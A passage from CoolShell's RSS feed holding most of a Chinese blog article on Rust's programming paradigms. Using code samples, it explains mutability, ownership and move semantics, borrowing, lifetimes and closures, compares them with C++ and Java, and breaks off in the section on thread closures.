class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Sony PS3 Root Key 被破解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3453.html\" class=\"wp_rp_title\">Sony PS3 Root Key 被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21003.html\">计时攻击 Timing Attacks</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21003.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>46</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Rust语言的编程范式</title>\n\t\t<link>https://coolshell.cn/articles/20845.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/20845.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 04 Apr 2020 06:48:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Rust 语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Rust]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=20845</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>总是有很多很多人来问我对Rust语言怎么看的问题，在各种地方被at，其实，我不是很想表达我的想法。因为在不同的角度，你会看到不同的东西。编程语言这个东西，老实说...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/20845.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-sup_wechat_big wp-image-20925\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-360x200.jpg\" alt=\"\" width=\"360\" height=\"200\" />总是有很多很多人来问我对Rust语言怎么看的问题，在各种地方被at，其实，我不是很想表达我的想法。因为在不同的角度，你会看到不同的东西。编程语言这个东西，老实说很难评价，在学术上来说，Lisp就是很好的语言，然而在工程使用的时候，你会发现Lisp没什么人用，而Javascript或是PHP这样在学术很糟糕设计的语言反而成了主流，你觉得C++很反人类，在我看来，C++有很多不错的设计，而且对于了解编程语言和编译器的和原理非常有帮助。<strong>但是C++也很危险，所以，出现在像Java或Go 语言来改善它，Rust本质上也是在改善C++的。他们各自都有各自的长处和优势</strong>。</p>\n<p>因为各个语言都有好有不好，因此，我不想用别的语言来说Rust的问题，或是把Rust吹成朵花以打压别的语言，写成这样的文章，是很没有营养的事。<strong>本文主要想通过Rust的语言设计来看看编程中的一些挑战，尤其是Rust重要的一些编程范式，这样反而更有意义一些，因为这样你才可能一通百通</strong>。</p>\n<p>这篇文章的篇幅比较长，而且有很多代码，信息量可能会非常大，所以，<strong>在读本文前，你需要有如下的知识准备</strong>：</p>\n<ul>\n<li>你对C++语言的一些特性和问题比较熟悉。尤其是：指针、引用、右值move、内存对象管理、泛型编程、智能指针……</li>\n<li>当然，你还要略懂Rust，不懂也没太大关系，但本文不会是Rust的教程文章，可以参看“<a href=\"https://doc.rust-lang.org/book/title-page.html\" target=\"_blank\" rel=\"noopener noreferrer\">Rust的官方教程</a>”（<a href=\"https://kaisery.github.io/trpl-zh-cn/\" target=\"_blank\" rel=\"noopener noreferrer\">中文版</a>）</li>\n</ul>\n<p><strong>因为本文太长，所以，我有必要写上 TL;DR ——</strong></p>\n<p><span id=\"more-20845\"></span></p>\n<p>Java 与 Rust 在改善C/C++上走了完全不同的两条路，他们主要改善的问题就是C/C++ Safety的问题。所谓C/C++编程安全上的问题，主要是：内存的管理、数据在共享中出现的“野指针”、“野引用”的问题。</p>\n<ul>\n<li>对于这些问题，Java用引用垃圾回收再加上强大的VM字节码技术可以进行各种像反射、字节码修改的黑魔法。</li>\n<li>而Rust不玩垃圾回收，也不玩VM，所以，作为静态语言的它，只能在编译器上下工夫。如果要让编译器能够在编译时检查出一些安全问题，那么就需要程序员在编程上与Rust语言有一些约定了，其中最大的一个约定规则就是变量的所有权问题，并且还要在代码上“去糖”，比如让程序员说明一些共享引用的生命周期。</li>\n<li>Rust的这些所有权的约定造成了很大的编程上的麻烦，写Rust的程序时，基本上来说，你的程序再也不要想可能轻轻松松能编译通过了。而且，在面对一些场景的代码编写时，如：函数式的闭包，多线程的不变数据的共享，多态……开始变得有些复杂，并会让你有种找不到北的感觉。</li>\n<li>Rust的Trait很像Java的接口，通过Trait可以实现C++的拷贝构造、重载操作符、多态等操作……</li>\n<li>学习Rust的学习曲线并不平，用Rust写程序，基本上来说，一旦编译通过，代码运行起来是安全的，bug也是很少的。</li>\n</ul>\n<p><strong>如果你对Rust的概念认识的不完整，你完全写不出程序，那怕就是很简单的一段代码</strong>。<strong>这逼着程序员必需了解所有的概念才能编码。但是，另一方面也表明了这门语言并不适合初学者……</strong></p>\n<h4>变量的可变性</h4>\n<p>首先，Rust里的变量声明默认是“不可变的”，如果你声明一个变量 <code>let x = 5;</code>  变量 <code>x</code> 是不可变的，也就是说，<code>x = y + 10;</code> 编译器会报错的。如果你要变量的话，你需要使用 <code>mut</code> 关键词，也就是要声明成 <code>let mut x = 5;</code> 表示这是一个可以改变的变量。这个是比较有趣的，因为其它主流语言在声明变量时默认是可变的，而Rust则是要反过来。这可以理解，不可变的通常来说会有更好的稳定性，而可变的会代来不稳定性。所以，Rust应该是想成为更为安全的语言，所以，默认是 immutable 的变量。当然，Rust同样有 <code>const</code> 修饰的常量。于是，Rust可以玩出这么些东西来：</p>\n<ul>\n<li>常量：<code>const LEN:u32 = 1024;</code> 其中的 <code>LEN</code> 就是一个<code>u32</code> 的整型常量（无符号32位整型），是编译时用到的。</li>\n<li>可变的变量： <code>let mut x = 5;</code> 这个就跟其它语言的类似， 在运行时用到。</li>\n<li>不可变的变量：<code>let x= 5;</code> 对这种变量，你无论修改它，但是，你可以使用 <code>let x = x + 10;</code> 这样的方式来重新定义一个新的 <code>x</code>。这个在Rust里叫 Shadowing ，第二个 <code>x</code>  把第一个 <code>x</code> 给遮蔽了。</li>\n</ul>\n<p>不可变的变量对于程序的稳定运行是有帮助的，这是一种编程“契约”，当处理契约为不可变的变量时，程序就可以稳定很多，尤其是多线程的环境下，因为不可变意味着只读不写，其他好处是，与易变对象相比，它们更易于理解和推理，并提供更高的安全性。有了这样的“契约”后，编译器也很容易在编译时查错了。这就是Rust语言的编译器的编译期可以帮你检查很多编程上的问题。</p>\n<p>对于标识不可变的变量，在 C/C++中我们用<code>const</code> ，在Java中使用 <code>final</code> ，在 C#中使用 <code>readonly</code> ，Scala用 <code>val</code> ……（在Javascript 和Python这样的动态语言中，原始类型基本都是不可变的，而自定义类型是可变的）。</p>\n<p>对于Rust的Shadowing，我个人觉得是比较危险的，在我的职业生涯中，这种使用同名变量（在嵌套的scope环境下）带来的bug还是很不好找的。一般来说，每个变量都应该有他最合适的名字，最好不要重名。</p>\n<h4>变量的所有权</h4>\n<p>这个是Rust这个语言中比较强调的一个概念。其实，在我们的编程中，很多情况下，都是把一个对象（变量）传递过来传递过去，在传递的过程中，传的是一份复本，还是这个对象本身，也就是所谓的“传值还是传引用”的被程序员问得最多的问题。</p>\n<ul>\n<li><strong>传递副本（传值）</strong>。把一个对象的复本传到一个函数中，或是放到一个数据结构容器中，可能需要出现复制的操作，这个复制对于一个对象来说，需要深度复制才安全，否则就会出现各种问题。而深度复制就会导致性能问题。</li>\n<li><strong>传递对象本身（传引用）</strong>。传引用也就是不需要考虑对象的复制成本，但是需要考虑对象在传递后，会多个变量所引用的问题。比如：我们把一个对象的引用传给一个List或其它的一个函数，这意味着，大家对同一个对象都有控制权，如果有一个人释放了这个对象，那边其它人就遭殃了，所以，一般会采用引用计数的方式来共享一个对象。引用除了共享的问题外，还有作用域的问题，比如：你从一个函数的栈内存中返回一个对象的引用给调用者，调用者就会收到一个被释放了个引用对象（因为函数结束后栈被清了）。</li>\n</ul>\n<p>这些东西在任何一个编程语言中都是必需要解决的问题，要足够灵活到让程序员可以根据自己的需要来写程序。</p>\n<p>在C++中，如果你要传递一个对象，有这么几种方式：</p>\n<ul>\n<li><strong>引用或指针。</strong>也就是不建复本，完全共享，于是，但是会出现悬挂指针（<a href=\"https://en.wikipedia.org/wiki/Dangling_pointer\" target=\"_blank\" rel=\"noopener noreferrer\">Dangling Pointer</a>）又叫野指针的问题，也就是一个指针或引用指向一块废弃的内存。为了解决这个问题，C++的解决方案是使用 <code>share_ptr</code> 这样的托管类来管理共享时的引用计数。</li>\n<li><strong>传递复本</strong>，传递一个拷贝，需要重载对象的“拷贝构造函数”和“赋值构造函数”。</li>\n<li><strong>移动Move</strong>。C++中，为了解决一些临时对象的构造的开销，可以使用Move操作，把一个对象的所有权移动到给另外一个对象，这个解决了C++中在传递对象时的会产生很多临时对象来影响性能的情况。</li>\n</ul>\n<p>C++的这些个“神操作”，可以让你非常灵活地在各种情况下传递对象，但是也提升整体语言的复杂度。而Java直接把C/C++的指针给废了，用了更为安全的引用 ，然后为了解决多个引用共享同一个内存，内置了引用计数和垃圾回收，于是整个复杂度大大降低。对于Java要传对象的复本的话，需要定义一个通过自己构造自己的构造函数，或是通过prototype设计模式的 <code>clone()</code> 方法来进行，如果你要让Java解除引用，需要明显的把引用变量赋成 <code>null</code> 。总之，无论什么语言都需要这对象的传递这个事做好，不然，无法提供相对比较灵活编程方法。</p>\n<p>在Rust中，Rust强化了“所有权”的概念，下面是Rust的所有者的三大铁律：</p>\n<ol>\n<li>Rust 中的每一个值都有一个被称为其 <strong>所有者</strong>（owner）的变量。</li>\n<li>值有且只有一个所有者。</li>\n<li>当所有者（变量）离开作用域，这个值将被丢弃。</li>\n</ol>\n<p>这意味着什么？</p>\n<p>如果你需要传递一个对象的复本，你需要给这个对象实现 <code>Copy</code> trait ，<strong>trait </strong>怎么翻译我也不知道，你可以认为是一个对象的一些特别的接口（可以用于一些对像操作上的约定，比如：<code>Copy</code> 用于复制（类型于C++的拷贝构造和赋值操作符重载），<code>Display</code> 用于输出（类似于Java的 <code>toString()</code>），还有 <code>Drop</code> 和操作符重载等等，当然，也可以是对象的方法，或是用于多态的接口定义，后面会讲）。</p>\n<p>对于内建的整型、布尔型、浮点型、字符型、多元组都被实现了 <code>Copy</code> 所以，在进行传递的时候，会进行<code>memcpy</code> 这样的复制（bit-wise式的浅拷贝）。而对于对象来说，则不行，在Rust的编程范式中，需要使用的是 <code>Clone</code> trait。</p>\n<p>于是，<code>Copy</code> 和 <code>Clone</code> 这两个相似而又不一样的概念就出来了，<code>Copy</code> 主要是给内建类型，或是由内建类型全是支持 <code>Copy</code> 的对象，而 <code>Clone</code> 则是给程序员自己复制对象的。嗯，这就是浅拷贝和深拷贝的差别，<code>Copy</code> 告诉编译器，我这个对象可以进行 bit-wise的复制，而 <code>Clone</code> 则是指深度拷贝。</p>\n<p>像 <code>String</code> 这样的内部需要在堆上分布内存的数据结构，是没有实现<code>Copy</code> 的（因为内部是一个指针，所以，语义上是深拷贝，浅拷贝会招至各种bug和crash），需要复制的话，必需手动的调用其 <code>clone()</code> 方法，如果不这样的的话，当在进行函数参数传递，或是变量传递的时候，所有权一下就转移了，而之前的变量什么也不是了（这里编译器会帮你做检查有没有使用到所有权被转走的变量）。这个相当于C++的Move语义。</p>\n<p>参看下面的示例，你可能对Rust自动转移所有权会有更好的了解（代码中有注释了，我就不多说了）。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">// takes_ownership 取得调用函数传入参数的所有权，因为不返回，所以变量进来了就出不去了\nfn takes_ownership(some_string: String) {\n    println!(\"{}\", some_string);\n} // 这里，some_string 移出作用域并调用 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">drop</code> 方法。占用的内存被释放\n\n// gives_ownership 将返回值移动给调用它的函数\nfn gives_ownership() -&gt; String {\n    let some_string = String::from(\"hello\"); // some_string 进入作用域.\n    some_string // 返回 some_string 并移出给调用的函数\n}\n\n// takes_and_gives_back 将传入字符串并返回该值\nfn takes_and_gives_back(mut a_string: String) -&gt; String {\n    a_string.push_str(\", world\");\n    a_string  // 返回 a_string 将所有权移出给调用的函数\n}\n\nfn main()\n{\n    // gives_ownership 将返回值移给 s1\n    let s1 = gives_ownership();\n    // 所有权转给了 takes_ownership 函数, s1 不可用了\n    takes_ownership(s1);\n    // 如果编译下面的代码，会出现s1不可用的错误\n    // println!(\"s1= {}\", s1);\n    //                    ^^ value borrowed here after move\n    let s2 = String::from(\"hello\");// 声明s2\n    // s2 被移动到 takes_and_gives_back 中, 它也将返回值移给 s3。\n    // 而 s2 则不可用了。\n    let s3 = takes_and_gives_back(s2);\n    //如果编译下面的代码，会出现可不可用的错误\n    //println!(\"s2={}, s3={}\", s2, s3);\n    //                         ^^ value borrowed here after move\n    println!(\"s3={}\", s3);\n}\n</pre>\n<p>这样的 Move 的方式，在性能上和安全性上都是非常有效的，而Rust的编译器会帮你检查出使用了所有权被move走的变量的错误。而且，我们还可以从函数栈上返回对象了，如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">fn new_person() -&gt; Person {\n    let person = Person {\n        name : String::from(\"Hao Chen\"),\n        age : 44,\n        sex : Sex::Male,\n        email: String::from(\"haoel@hotmail.com\"),\n    };\n    return person;\n}\n\nfn main() {\n   let p  = new_person();\n}\n</pre>\n<p>因为对象是Move走的，所以，在函数上 <code>new_person()</code> 上返回的 <code>Person</code> 对象是Move 语言，被Move到了 <code>main()</code> 函数中来，这样就没有性能上的问题了。而在C++中，我们需要把对象的Move函数给写出来才能做到。因为，C++默认是调用拷贝构造函数的，而不是Move的。</p>\n<h4>Owner语义带来的复杂度</h4>\n<p>Owner + Move 的语义也会带来一些复杂度。首先，如果有一个结构体，我们把其中的成员 Move 掉了，会怎么样。参看如下的代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">#[derive(Debug)] // 让结构体可以使用 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">{:?}</code>的方式输出\nstruct Person {\n    name :String,\n    email:String,\n}\n\nlet _name = p.name; // 把结构体 Person::name Move掉\nprintln!(\"{} {}\", _name, p.email); //其它成员可以正常访问\nprintln!(\"{:?}\", p); //编译出错 \"value borrowed here after partial move\"\np.name = \"Hao Chen\".to_string(); // Person::name又有了。\nprintln!(\"{:?}\", p); //可以正常的编译了\n</pre>\n<p>上面这个示例，我们可以看到，结构体中的成员是可以被Move掉的，Move掉的结构实例会成为一个部分的未初始化的结构，如果需要访问整个结构体的成员，会出现编译问题。但是后面把 Person::name补上后，又可以愉快地工作了。</p>\n<p>下面我们再看一个更复杂的示例——这个示例模拟动画渲染的场景，我们需要有两个buffer，一个是正在显示的，另一个是下一帧要显示的。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">struct Buffer {\n    buffer : String,\n}\n\nstruct Render {\n    current_buffer : Buffer,\n    next_buffer : Buffer,\n}\n//实现结构体 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">Render</code> 的方法\nimpl Render { \n    //实现 update_buffer() 方法，\n    //更新buffer，把 next 更新到 current 中，再更新 next\n    fn update_buffer(&amp; mut self, buf : String) {\n        self.current_buffer = self.next_buffer;\n        self.next_buffer = Buffer{ buffer: buf};\n    }\n}\n</pre>\n<p>上面这段代码，我们写下来没什么问题，但是 Rust 编译不会让我们编译通过。它会告诉我们如下的错误：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"no-highlight\">error[E0507]: cannot move out of <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">self.next_buffer</code> which is behind a mutable reference\n--&gt; /.........../xxx.rs:18:31\n|\n14 | self.current_buffer = self.next_buffer;\n|                          ^^^^^^^^^^^^^^^^ move occurs because <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">self.next_buffer</code> has type <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">Buffer</code>,\n                                            which does not implement the <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">Copy</code> trait</pre>\n<p>编译器会提示你，<code>Buffer</code> 没有 Copy trait 方法。<strong>但是，如果你实现了 Copy 方法后，你又不能享受 Move 带来的性能上快乐了。于是，到这里，你开始进退两难了，完全不知道取舍了</strong>。</p>\n<ul>\n<li>Rust编译器不让我们在成员方法中把成员Move走，因为 <code>self</code> 引用就不完整了。</li>\n<li>Rust要我们实现 <code>Copy</code> Trait，但是我们不想要拷贝，因为我们就是想把 <code>next_buffer</code> move 到 <code>current_buffer</code> 中</li>\n</ul>\n<p>我们想要同时 Move 两个变量，参数 <code>buf</code> move 到 <code>next_buffer</code> 的同时，还要把 <code>next_buffer</code> 里的东西 move 到 <code>current_buffer</code> 中。 我们需要一个“杂耍”的技能。<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-20872\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/indy.gif\" alt=\"\" width=\"500\" height=\"264\" /></p>\n<p>这个需要动用 <code>std::mem::replace(&amp;dest, src)</code> 函数了， 这个函数技把 <code>src</code> 的值 move 到 <code>dest</code> 中，然后把 <code>dest</code> 再返回出来（这其中使用了 unsafe 的一些底层骚操作才能完成）。Anyway，最终是这样实现的：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">use std::mem::replace\nfn update_buffer(&amp; mut self, buf : String) { \n  self.current_buffer = replace(&amp;mut self.next_buffer, Buffer{buffer : buf}); \n}</pre>\n<p>不知道你觉得这样“杂耍”的代码看上去怎么以样？我觉得可读性下降一个数量级。</p>\n<h4>引用（借用）和生命周期</h4>\n<p>下面，我们来讲讲引用，因为把对象的所有权 Move 走了的情况，在一些时候肯定不合适，比如，我有一个 <code>compare(s1: Student, s2: Student) -&gt; bool</code> 我想比较两个学生的平均份成绩， 我不想传复本，因为太慢，我也不想把所有权交进去，因为只是想计算其中的数据。这个时候，传引用就是一个比较好的选择，Rust同样支持传引用。只需要把上面的函数声明改成：<code>compare(s1 :&amp;Student, s2 : &amp;Student) -&gt; bool</code> 就可以了，在调用的时候，<code>compare (&amp;s1, &amp;s2);</code>  与C++一致。在Rust中，这也叫“借用”（嗯，Rust发明出来的这些新术语，在语义上感觉让人更容易理解了，当然，也增加了学习的复杂度了）</p>\n<h5>引用（借用）</h5>\n<p>另外，如果你要修改这个引用对象，就需要使用“可变引用”，如：<code>foo( s : &amp;mut Student)</code> 以及 <code>foo( &amp;mut s);</code>另外，为了避免一些数据竞争需要进行数据同步的事，Rust严格规定了——<strong>在任意时刻，要么只能有一个可变引用，要么只能有多个不可变引用</strong>。</p>\n<p>这些严格的规定会导致程序员失去编程的灵活性，不熟悉Rust的程序员可能会在一些编译错误下会很崩溃，但是你的代码的稳定性也会提高，bug率也会降低。</p>\n<p>另外，Rust为了解决“野引用”的问题，也就是说，有多个变量引用到一个对象上，还不能使用额外的引用计数来增加程序运行的复杂度。那么，Rust就要管理程序中引用的生命周期了，而且还是要在编译期管理，如果发现有引用的生命周期有问题的，就要报错。比如：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">let r;\n{\n    let x = 10;\n    r = &amp;x;\n}\nprintln!(\"r = {}\",r );\n</pre>\n<p>上面的这段代码，程序员肉眼就能看到 <code>x</code> 的作用域比 <code>r</code>  小，所以导致 <code>r</code> 在 <code>println()</code> 的时候 <code>r</code> 引用的 <code>x</code> 已经没有了。这个代码在C++中可以正常编译而且可以执行，虽然最后可以打出“内嵌作用域”的 <code>x</code> 的值，但其实这个值已经是有问题的了。而在 Rust 语言中，编译器会给出一个编译错误，告诉你，“<code>x</code> dropped here while still borrowed”，这个真是太棒了。</p>\n<p>但是这中编译时检查的技术对于目前的编译器来说，只在程序变得稍微复杂一点，编译器的“失效引用”检查就不那么容易了。比如下面这个代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">fn order_string(s1 : &amp;str, s2 : &amp;str) -&gt; (&amp;str, &amp;str) {\n    if s1.len() &lt; s2.len() {\n        return (s1, s2);\n    }\n    return (s2, s1);\n}\n\nlet str1 = String::from(\"long long long long string\");\nlet str2 = \"short string\";\n\nlet (long_str, short_str) = order_string(str1.as_str(), str2);\n\nprintln!(\" long={} nshort={} \", long_str, short_str);\n</pre>\n<p>我们有两个字符串，<code>str1</code> 和 <code>str2</code> 我们想通过函数 <code>order_string()</code> 把这两个字串符返回成 <code>long_str</code> 和 <code>short_str</code>  这样方便后面的代码进行处理。这是一段很常见的处理代码的示例。然而，你会发现，这段代码编译不过。编译器会告诉你，<code>order_string()</code> 返回的 引用类型 <code>&amp;str</code> 需要一个 lifetime的参数 &#8211; “ expected lifetime parameter”。这是因为Rust编译无法通过观察静态代码分析返回的两个引用返回值，到底是<code>(s1, s2)</code> 还是 <code>(s2, s1)</code> ，因为这是运行时决定的。所以，返回值的两个参数的引用没法确定其生命周期到底是跟 <code>s1</code> 还是跟 <code>s2</code>，这个时候，编译器就不知道了。</p>\n<h5>生命周期</h5>\n<p>如果你的代码是下面这个样子，编程器可以自己推导出来，函数 <code>foo()</code> 的参数和返回值都是一个引用，他们的生命周期是一样的，所以，也就可以编译通过。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">fn foo (s: &amp;mut String) -&gt; &amp;String {\n    s.push_str(\"coolshell\");\n    s\n}\n\nlet mut s = \"hello, \".to_string();\nprintln!(\"{}\", foo(&amp;mut s))\n</pre>\n<p>而对于传入多个引用，返回值可能是任一引用，这个时候编译器就犯糊涂了，因为不知道运行时的事，所以，就需要程序员来标注了。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">fn long_string&lt;'c&gt;(s1 : &amp;'c str, s2 : &amp;'c str) -&gt; (&amp;'c str, &amp;'c str) {\n    if s1.len() &gt; s2.len() {\n        return (s1, s2);\n    }\n    return (s2, s1);\n}\n</pre>\n<p>上述的Rust的标注语法，用个单引号加一个任意字符串来标注（<code>'static</code>除外，这是一个关键词，表示生命周期跟整个程序一样长），然后，说明返回的那两个引用的生命周期跟 <code>s1</code> 和 <code>s2</code> 的生命周期相同，这个标注的目的就是把运行时的事变成了编译时的事。于是程序就可以编译通过了。（注：你也不要以为你可以用这个技术乱写生命周期，这只是一种“去语法糖操作”，是帮助编译器理解其中的生命周期，如果违反实际生命周期，编译器也是会拒绝编译的）</p>\n<p>这里有两个说明，</p>\n<ul>\n<li>只要你玩引用，生命周期标识就会来了。</li>\n<li>Rust编译器不知道运行时会发生什么事，所以，需要你来标注声明</li>\n</ul>\n<p>我感觉，你现在开始有点头晕了吧？接下来，我们让你再晕一下。比如：如果你要在结构体中玩引用，那必需要为引用声明生命周期，如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">// 引用 ref1 和 ref2 的生命周期与结构体一致\nstruct Test &lt;'life&gt; {\n    ref_int : &amp;'life i32,\n    ref_str : &amp;'life str,\n}\n</pre>\n<p>其中，生命周期标识 <code>'life</code> 定义在结构体上，被使用于其成员引用上。意思是声明规则——“<strong>结构体的生命周期 &lt;= 成员引用的生命周期</strong>”</p>\n<p>然后，如果你要给这个结构实现两个 <code>set</code> 方法，你也得带上 lifetime 标识。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">imp&lt;'life&gt; Test&lt;'life&gt; {\n    fn set_string(&amp;mut self, s : &amp;'life str) {\n        self.ref_str = s;\n    }\n    fn set_int(&amp;mut self,  i : &amp;'life i32) {\n        self.ref_int = i;\n    }\n}\n</pre>\n<p>在上面的这个示例中，生命周期变量 <code>'life</code> 声明在 <code>impl</code> 上，用于结构体和其方法的入参上。 意思是声明规则——“<strong>结构体方法的“引用参数”的生命周期 &gt;= 结构体的生命周期</strong>”</p>\n<p>有了这些个生命周期的标识规则后，Rust就可以愉快地检查这些规则说明，并编译代码了。</p>\n<h4>闭包与所有权</h4>\n<p>这种所有权和引用的严格区分和管理，会影响到很多地方，下面我们来看一下函数闭包中的这些东西的传递。函数闭包又叫Closure，是函数式编程中一个不可或缺的东西，又被称为lambda表达式，基本上所有的高级语言都会支持。在 Rust 语言中，其闭包函数的表示是用两根竖线（| |）中间加传如参数进行定义。如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">// 定义了一个 x + y 操作的 lambda f(x, y) = x + y;\nlet plus = |x: i32, y:i32| x + y; \n// 定义另一个lambda g(x) = f(x, 5)\nlet plus_five = |x| plus(x, 5); \n//输出\nprintln!(\"plus_five(10)={}\", plus_five(10) );</pre>\n<h5>函数闭包</h5>\n<p>但是一旦加上了上述的所有权这些东西后，问题就会变得复杂开来。参看下面的代码。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">struct Person {\n    name : String,\n    age : u8,\n}\n\nfn main() {\n    let p = Person{ name: \"Hao Chen\".to_string(), age : 44};\n    //可以运行，因为 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">u8</code> 有 Copy Trait\n    let age = |p : Person| p.age; \n    // String 没有Copy Trait，所以，这里所有权就 Move 走了\n    let name = |p : Person | p.name; \n    println! (\"name={}, age={}\" , name(p), age(p));\n}</pre>\n<p>上面的代码无法编译通过，因为Rust编译器发现在调用 <code>name(p)</code> 的时候，<code>p</code> 的所有权被移走了。然后，我们想想，改成引用的版本，如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">let age = |p : &amp;Person| p.age;\nlet name = |p : &amp;Person | &amp;p.name;\n\nprintln! (\"name={}, age={}\" , name(&amp;p), age(&amp;p));</pre>\n<p>你会现在还是无法编译，报错中说：<strong>cannot infer an appropriate lifetime for borrow expression due to conflicting requirements</strong></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">error[E0495]: cannot infer an appropriate lifetime for borrow expression due to conflicting requirements\n  --&gt; src/main.rs:11:31\n   |\n11 |     let name = |p : &amp;Person | &amp;p.name;\n   |                               ^^^^^^^</pre>\n<p>然后你开始尝试加 lifetime，用尽各种Rust的骚操作（官方Github上的<a href=\"https://github.com/rust-lang/rust/issues/58052\" target=\"_blank\" rel=\"noopener noreferrer\"> #issue 58052</a>），然后，还是无法让你的程序可以编译通过。最后，上StackOverflow 里寻找帮助，得到下面的正确写法（这个可能跟这个bug有关系：<a href=\"https://github.com/rust-lang/rust/issues/41078\" target=\"_blank\" rel=\"noopener noreferrer\">#issue 41078</a> ）。但是这样的写法，已经让简洁的代码变得面目全非。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\" data-enlighter-highlight=\"7\">//下面的声明可以正确译\nlet name: for&lt;'a&gt; fn(&amp;'a Person) -&gt; &amp;'a String = |p: &amp;Person| &amp;p.name;</pre>\n<p>上面的这种lifetime的标识也是很奇葩，通过定义一个函数类型来做相关的标注，但是这个函数类型，需要用到 <code>for&lt;'a&gt;</code> 关键字。你可能会很confuse这个关键字不是用来做循环的吗？嗯，Rust这种重用关键字的作法，我个人觉得带来了很多不必要的复杂度。总之，这样的声明代码，我觉得基本不会有人能想得到的——“去语法糖操作太严重了，绝大多数人绝对hold不住”！</p>\n<p>最后，我们再来看另一个问题，下面的代码无法编译通过：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">let s = String::from(\"coolshell\");\nlet take_str = || s;\nprintln!(\"{}\", s); //ERROR\nprintln!(\"{}\",  take_str()); // OK</pre>\n<p>Rust的编译器会告诉你，<code>take_str</code>  把 <code>s</code> 的所有权给拿走了（因为需要作成返回值）。所以，后面的输出语句就用不到了。这里意味着：</p>\n<ul>\n<li>对于内建的类型，都实现了 <code>Copy</code> 的 trait，那么闭包执行的是 “借用”</li>\n<li>对于没有实现 <code>Copy</code> 的trait，在闭包中可以调用其方法，是“借用”，但是不能当成返回值，当成返回值了就是“移动”。</li>\n</ul>\n<p>虽然有了这些“通常情况下是借用的潜规则”，但是还是不能满足一些情况，所以，还要让程序员可以定义 <code>move</code> 的“明规则”。下面的代码，一个有 move 一个没有move，他们的差别也不一样。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"rust\">//-----------借用的情况-----------\nlet mut num = 5;\n{\n    let mut add_num = |x: i32| num += x;\n    add_num(5);\n}\nprintln!(\"num={}\", num); //输出 10\n\n//-----------Move的情况-----------\nlet mut num = 5;\n{\n    // 把 num（5）所有权给 move 到了 add_num 中，\n    // 使用其成为闭包中的局部变量。\n    let mut add_num = move |x: i32| num += x;\n    add_num(5);\n    println!(\"num(move)={}\", num); //输出10\n}\n//因为i32实现了 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">Copy</code>，所以，这里还可以访问\nprintln!(\"num(move)={}\", num); //输出5</pre>\n<p>真是有点头大了，int这样的类型，因为实现了Copy Trait，所以，所有权被移走后，意味着，在内嵌块中的<code>num</code> 和外层的 <code>num</code> 是两个完全不相干的变量。<strong>但是你在读代码的时候，你的大脑可能并不会让你这么想，因为里面的那个num又没有被声明过，应该是外层的</strong>。我个人觉得这是Rust 各种“按下葫芦起了瓢”的现象。</p>\n<h5>线程闭包</h5>\n<p>通过上面的示例，我们可以看到， <code>move</code> 